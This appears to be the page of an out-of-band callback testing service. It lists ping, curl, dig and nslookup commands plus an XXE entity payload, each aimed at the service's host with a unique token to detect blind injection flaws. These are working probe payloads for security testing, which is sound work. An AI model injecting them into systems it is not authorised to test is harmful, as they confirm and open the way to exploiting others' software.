$ ping -c1 -p 00fbcce6fcc344bf97e3f80cfa32a500 unhack.ca
 
$ curl http://unhack.ca/p/fbcce6fcc344bf97e3f80cfa32a5
 
$ dig fbcce6fcc344bf97e3f80cfa32a5 @unhack.ca
 
$ dig fbcce6fcc344bf97e3f80cfa32a5.ns.unhack.ca
 
C:\> nslookup fbcce6fcc344bf97e3f80cfa32a5 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fbcce6fcc344bf97e3f80cfa32a5">]>
    <foo>&xxe;</foo>
Waiting for ping...